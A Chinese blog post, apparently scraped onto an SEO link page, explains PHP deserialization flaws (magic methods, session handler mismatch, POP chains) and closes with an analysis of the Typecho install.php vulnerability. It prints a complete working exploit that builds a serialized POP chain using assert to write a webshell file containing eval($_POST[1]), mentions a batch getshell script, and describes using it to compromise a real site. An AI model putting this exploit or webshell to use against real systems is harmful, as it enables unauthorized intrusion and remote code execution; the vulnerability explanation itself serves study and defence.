当前位置: 首页 > news >正文

徐州市中宇建设工程有限公司网站/万能优化大师下载

徐州市中宇建设工程有限公司网站,万能优化大师下载,张家界网站建设企业,wordpress网站怎么加速起因:最近日站的时候,对一个typecho博客经历几番波折之后,最后找了个typecho反序列化漏洞的exp、写了个webshell..开心的不得了...带着对反序列化漏洞满满的好奇心学习了一番。批量getshell脚本已发布:github0x01:相关…

起因:最近日站的时候,对一个typecho博客经历几番波折之后,最后找了个typecho反序列化漏洞的exp、写了个webshell..开心的不得了...带着对反序列化漏洞满满的好奇心学习了一番。

批量getshell脚本已发布:github

0x01:相关基础:

1.序列化和反序列化相关知识:

1.1什么是(反)序列化:

序列化是将变量(对象)转换为可保存或传输的字符串的过程;反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。

1.2php(反)序列化常见的函数:

Serialize、Unserialize、json_encode、json_decode。

1.3序列化之后的格式:

a - array:

a::{key,value pairs}

a:1:{i:1;s:1:"a";}

b - boolean:

d - double

i - integer

o - object:

O::""::{};

O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"**";N;} //说明person对象中name属性为Null、age属性为19,**属性为Null

s - string

s:length:"value";

s:1:"a";

N - null

N;

2.php对象常见的魔幻函数

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。

__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。

__toString:当对象被当做一个字符串使用时调用。

__sleep:序列化对象之前就调用此方法(其返回需要一个数组)

__wakeup:反序列化恢复对象之前调用该方法

__call:当调用对象中不存在的方法会自动调用该方法。

__get:在调用私有属性的时候会自动执行

测试:

3.php_session序列化和反序列化相关知识

3.1 php_session处理器

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值。

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

设置方式:在php_ini中session.serialize_handler(PHP_INI_ALL) 设置,

也可以在代码中设置:

ini_set('session.serialize_handler', 'php');

各类存储方式示例:

代码:

ini_set('session.serialize_handler', 'php');

session_start();

$_SESSION['a'] = $_GET['a'];

var_dump($_SESSION);

?>

当我传入?a=O:4:"pass":0:{}时:

php处理器存储的为:a|s:15:"O:4:"pass":0:{}";

php_serialize处理器存储的为:a:1:{s:1:"a";s:15:"O:4:"pass":0:{}";}

php_binary处理器存储的为:(乱码了..自己测试吧)

3.2.php_ini中与php_session相关的配置知识

session.save_path = "" //设置session的存储路径

session.auto_start = boolen //指定会话模块是否在请求开始时启动一个会话,默认0(不启动)

session.serialize_handler = string //指定序列化、反序列化处理器

0x02.常见的漏洞:

1 将传来的序列化unserilize,造成魔幻函数执行。

demo1:

class Flag{ //flag.php

public $file;

public function __tostring(){

if(isset($this->file)){

echo file_get_contents($this->file);

echo "
";

return ("good");

}

}

}

$password = unserialize($_GET['password']);

echo $password;

关键点:当对象被当作字符串使用时调用__tostring()魔幻函数,所以如果我们给password传入一个序列化的对象,那么echo $password 就会调用魔幻函数。

构造payload:

class Flag{ //flag.php

public $file;

public function __tostring(){

if(isset($this->file)){

echo file_get_contents($this->file);

echo "
";

return ("good");

}

}

}

$obj = new Flag();

$obj->file = "Flag.php";

echo serialize($obj);

生成:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后读出flag.php

demo2:

class Flag{ //flag.php

public $file;

public function __wakeup(){

if(isset($this->file)){

echo file_get_contents($this->file);

}

}

}

unserialize($_GET['password']);

这个例子是利用的反序列化恢复对象之前会调用__wakeup(),所以构造payload方法和demo1中一样。

将拿到的序列化字符传入:

http://localhost:9096/test1.php?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

即可得到flag.php中的文件

当然还有其他魔幻函数:__construct、__destruct都行

总的来说:

①:有可控的数据被反序列化

②:有魔幻函数中敏感代码被执行。

2 php session处理器设置不当的漏洞。

题目源码:

//A webshell is wait for you

ini_set('session.serialize_handler', 'php');

session_start();

class OowoO

{

public $mdzz;

function __construct()

{

$this->mdzz = 'phpinfo();';

}

function __destruct()

{

eval($this->mdzz);

}

}

if(isset($_GET['phpinfo']))

{

$m = new OowoO();

}

else

{

highlight_string(file_get_contents('index.php'));

}

?>

第一眼看到这个题的时候很懵逼.... 没有数据可以输入的地方...然后琢磨了一下wp..... 感觉发现了新大陆...

从phpinfo中可以发现

session.serialize_handler = php_serilize

而代码中设置的

ini_set('session.serialize_handler', 'php');

从上文介绍相关处理器的时候可以知道:

PHP处理器:a为session的键名,|后面为经过serialize处理的键值

而php_serialize处理器:

这其中php_serialize有一个特性,就是可以在字符串变量中储存 | 符号,然后当我们以php_serialize

格式存入|O:4:"pass":0:{}

再以php处理器处理:即变成了

["a:1:{s:1:"a";s:16:""]为键名,test对象为值。

demo3(上述过程具体实现代码):

//ini_set('session.serialize_handler', 'php');

session_start();

$_SESSION['a'] = $_GET['a'];

?>

实现步骤:

1.设置php_ini中的session.serialize_handler = php_serialize,访问http://localhost:9096/test1.php?a=|O:4:"test":0:{},即写入session。

2.将上述代码注释去掉,并给$_SESSION['a'] = $_GET['a'];加上注释,即可看到php和php_serialize处理|的漏洞。

所以这里就可以利用这个特性给网页传入一个构造的php_serialize格式的session,

然后让php解析器将|后的数据解析成"值",以达到代码执行目的。

然后我们利用这个特点写入一个session(以php_serialize格式),然后让该页面以php方式处理,从而给$mdzz赋值,获取敏感信息。

demo4:

test1.php

ini_set('session.serialize_handler', 'php');

session_start();

//$_SESSION['a'] = $_GET['a'];

var_dump($_SESSION);

class Test{

function __construct(){

echo "__constrct";

}

function __destruct(){

echo "__destruct";

eval(phpinfo());

}

}

?>

本地事先存储了以php_serilize格式的session:a:1:{s:1:"a";s:16:"|O:4:"Test":0:{}

然后访问test1.php

正好符合上述题目中的eval函数中的代码执行

总的来说:

其实这种漏洞就是session序列化及反序列化处理器设置不当造成。本质上是它们对处理“|”的差异造成。如果以php_serilize方式存入,比如我们构造出'|' 伪造的序列化值存入,但之后解析又是用的php处理器的话,那么将会反序列化伪造的数据('|’之前当作键名,'|'之后当作键值)

其次如果想要利用的话,就是找到注入点,将我们构造的session注入进去。

其实我还是有点疑问的

那么为什么php处理器处理的时候会执行session中的值呢?

猜想:与session_start或者php处理器有关

暂时还没有捣鼓出来...

0x03.如何寻找注入点将数据注入到session

上面说的那个CTF题原理已经知道了,但是并不知道从哪注入session。

就我了解的而言,有以下几种写入session的途径

1.通过配置不当造成的session可控

参考:https://bugs.php.net/bug.php?id=71101

当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。

我们启用了该配置项后,POST一个和session.upload_progress.name同名变量的时候

PHP会将文件名保存在$_SESSION中

所以构造一个提交文件的表单:

然后构造一个序列化的数据:

ini_set('session.serialize.handler','php');

session_start();

class OowoO{

public $mdzz = 'payload';

}

$obj  = new OowoO();

echo serialize($obj);

?>

即可使得析构函数中的eval()执行任意代码。

0x04:构造注入链:pop

1.POP链原理简介:

在反序列化中,我们能控制的数据就是对象中的属性值,所以在PHP反序列化中有一种

漏洞利用方法叫"面向属性编程",即POP( Property Oriented Programming)。

在反序列化漏洞利用中,最理想的情况就是漏洞能利用的点在那几个魔幻函数中,

而实际上往往是从这几个魔幻函数开始,逐步的跟进这个函数中调用的函数,直到找到可以利用的点。

试想一下,如果上面那个CTF题目的代码执行函数eval()函数不在__destruct这类

魔幻函数中,而是在一个普通的方法中,我们就没办法直接利用它执行代码了。

这个时候就需要构造一个链,链接到我们需要执行的函数eval()。

demo5(模拟了一个简单的场景):

class OowoO

{

protected $obj;

function __destruct()

{

//$obj = new test1; 这里可以控制$obj为任意对象

$this->obj->a();

}

}

class test1{

function a(){

echo "123";

}

}

class test2{

private $data;

function a(){

eval($this->data);

}

}

unserialize($_GET['a']);

?>

利用:

class OowoO{

protected $obj;

public function __construct(){

$this->obj = new test2();

}

}

class test2{

private $data = "phpinfo();";

}

echo urlencode(serialize(new OowoO()));

结果:

值得注意的是,反序列化可以控制类的属性,无论private还是public。

但是这里有个坑,如果类中存在protected或者private属性的时候,序列化的时候会产生空

字节,所以记得urlencode一下,payload才会生效。

demo6:

class test{

private $a="a";

protected $b="b";

public $c="c";

}

echo urlencode(serialize(new test()));

?>

总的来说:如果魔幻函数中没有漏洞利用点,但是他调用了其他对象(意味着实例化了该对象)中的方法A,

由于上述demo5中我们传入的反序列化数据可以实例化任意对象,所以我们可以全局寻找一个和方法A同名的方法,然后逐个查看其他同名方法A中是否含有可利用的点。

2.typecho反序列化漏洞分析:

漏洞文件为根目录下的install.php,第283行:

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

$type = explode('_', $config['adapter']);

$type = array_pop($type);

$installDb = new Typecho_Db($config['adapter'], $config['prefix']);

$installDb->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);

从cookie中将__typecho_config的值取出,然后在TypechoDb中实例化。这里就是漏洞的注入点,

下面就需要找到漏洞的利用点,接着搜寻魔幻函数 __construct、__destruct、\_wakeup。

在/var/Typecho/Db.php中Typecho_Db类,代码第114行,找到一个_construct(1)可以利用,因为$adapterName变量存在字符串拼接

如果给它反序列化传入一个对象的话,会调用 \_tostring函数(如果存在的话)。

public function __construct($adapterName, $prefix = 'typecho_')

{

$this->_adapterName = $adapterName;

$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

可以发现在同文件下的第134行,实例化了$adapterName,会调用__tostring(2)

$this->_adapter = new $adapterName();

全局搜索__tostring后,在/var/Typecho/Feed.php中Typecho_Feed类可以发现__tostring(2)方法:290行:

foreach ($this->_items as $item) {

$content .= '' . self::EOL;

$content .= '

' . self::EOL;

$content .= '' . self::EOL;

$content .= '' . $item['link'] . '' . self::EOL;

$content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;

$content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;

$content .= '

' . $item['author']->screenName . '

' . $item['author']->url . '

' . self::EOL;

在该段代码的倒数第三行中,如果构造$item['author']是一个对象,screenName是其私有属性,

则会调用__get(3)方法。

然后在/var/Typecho/Request.php中Typecho_Request类中  __get(3)方法:226行

public function __get($key)

{

return $this->get($key);

}

调用了get方法:295行

public function get($key, $default = NULL)

{

switch (true) {

case isset($this->_params[$key]):

$value = $this->_params[$key];

break;

case isset(self::$_httpParams[$key]):

$value = self::$_httpParams[$key];

break;

default:

$value = $default;

break;

}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;

return $this->_applyFilter($value);

}

跟进一下_applyFilter(),在该文件的159行:

private function _applyFilter($value)

{

if ($this->_filter) {

foreach ($this->_filter as $filter) {

$value = is_array($value) ? array_map($filter, $value) :

call_user_func($filter, $value);

}

调用了call_user_func($filter,$value)函数,找到了可以利用的点了。

反过来分析:

回溯查看一下$value变量的来源:由Typecho_Request类中的$_params传入。

然后$filter在代码的120行有定义:

private $_filter = array();

所以可以直接对该属性赋值。

再来考虑一下如何触发__get(3)方法:

然后就可以把$_items数组所在的Typecho_Feed类,实例化传给$adapter,从而触发__tostring(2),然后\_construct(1)

自动执行,即构成了完整的一条攻击链。

总的来说,现在就很好理解这些数组的嵌套关系了。

Array

(

[adapter] => Typecho_Feed Object

(

[_type:Typecho_Feed:private] => RSS 2.0

[_version:Typecho_Feed:private] => 1

[_charset:Typecho_Feed:private] => UTF-8

[_lang:Typecho_Feed:private] => en

[_items:Typecho_Feed:private] => Array //$_itemss数组

(

[0] => Array  //$item数组

(

[author] => Typecho_Request Object //$item['author']赋予一个对象值,触发__get()

(

[_params:Typecho_Request:private] => Array

(

[screenName] => file_put_contents('Passer6y.php', '<?php eval($_POST[1]);?>')

)

[_filter:Typecho_Request:private] => Array

(

[0] => assert

)

)

)

)

)

[prefix] => th1s

)

EXP(copy from Ph0rse大佬):

//当__get方法执行时,使用assert函数调用file_put_contents函数,写入木马

class Typecho_Request{

private $_params = array('screenName' => "file_put_contents('Passer6y.php', '<?php eval(\$_POST[1]);?>')");

private $_filter = array('assert');

}

//构造Feed类,使__get方法执行

class Typecho_Feed{

const RSS2 = "RSS 2.0";

private $_type;

private $_version;

private $_charset;

private $_lang;

private $_items = array();

public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en'){

$this->_version = $version;

$this->_type = $type;

$this->_charset = $charset;

$this->_lang = $lang;

}

public function addItem(array $item){

$this->_items[] = $item;

}

}

$class1 = new Typecho_Feed(1);

$class2 = new Typecho_Request();

$class1->addItem(array('author' => $class2));

$exp = array('adapter' => $class1, 'prefix' => 'th1s');

echo base64_encode(serialize($exp));

?>

0x05.如何防御

1.过滤:试想一下,当unserialize执行的时候,会调用自动__wakeup魔幻函数,

我们可以利用这点,对用户可控的数据进行严格过滤,使之不能成功控制属性值。

2.使用get_included_files函数查看是否有漏洞的类被包含了

3.尽量使用json_endcode/json_decode来取代

参考资料:

http://www.lbrq.cn/news/1238347.html

相关文章:

  • 建行网站/网页搜索优化
  • 北京网站制作公司招聘信息/全球搜官网
  • 如何用css做网站/工厂管理培训课程
  • wordpress 蓝色主题/百度seo发帖推广
  • 奉化建设网站/推广普通话演讲稿
  • 深圳建设网站上市/营销推广工作内容
  • 网站建设与管理的现状/百度首页排名优化平台
  • 网站开发参考文献期刊/google广告投放
  • wordpress add_action/武汉排名seo公司
  • 大型集团网站建设/企业网站设计规范
  • 许昌做网站公司报价/域名ip查询入口
  • 青岛做网站建网站/站长统计幸福宝2022年排行榜
  • 网站建设及维护业务服务合同/搜索词分析
  • 安宁网站建设 熊掌/怎么理解搜索引擎优化
  • 河北网络推广/大连seo外包平台
  • 建设淘宝网站需要多少钱/百度营销中心
  • 南京做网站多少钱/有效获客的六大渠道
  • 海口网站运营托管咨询/软文投放平台有哪些
  • 罗岗网站建设公司/长沙靠谱的关键词优化
  • 网站开发类毕业设计/seoapp推广
  • 网站制作学校找哪家/有利于seo优化的是
  • 做建材哪个网站平台好/百度大数据
  • java社交网站开发/网站收录查询爱站
  • 网站开发培训流程/网站建设费用明细表
  • wordpress导航仿制/安卓系统优化app
  • 广东省高水平建设专业网站/关键词指数查询工具
  • 企业年金的作用及意义/试分析网站推广和优化的原因
  • 网站建设需要多钱/网站流量分析
  • 互动网站欣赏/百度怎么投放自己的广告
  • 国内优秀设计网站/网站建设的推广渠道
  • 【超分辨率专题】PiSA-SR:单步Diff超分新突破,即快又好,还能在线调参
  • 业务系统跳转Nacos免登录方案实践
  • Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现各类垃圾的分类检测识别(C#代码UI界面版)
  • 基于MBA与BP神经网络分类模型的特征选择方法研究(Python实现)
  • 【0基础PS】PS工具详解--图案图章工具
  • 【LeetCode 热题 100】(四)子串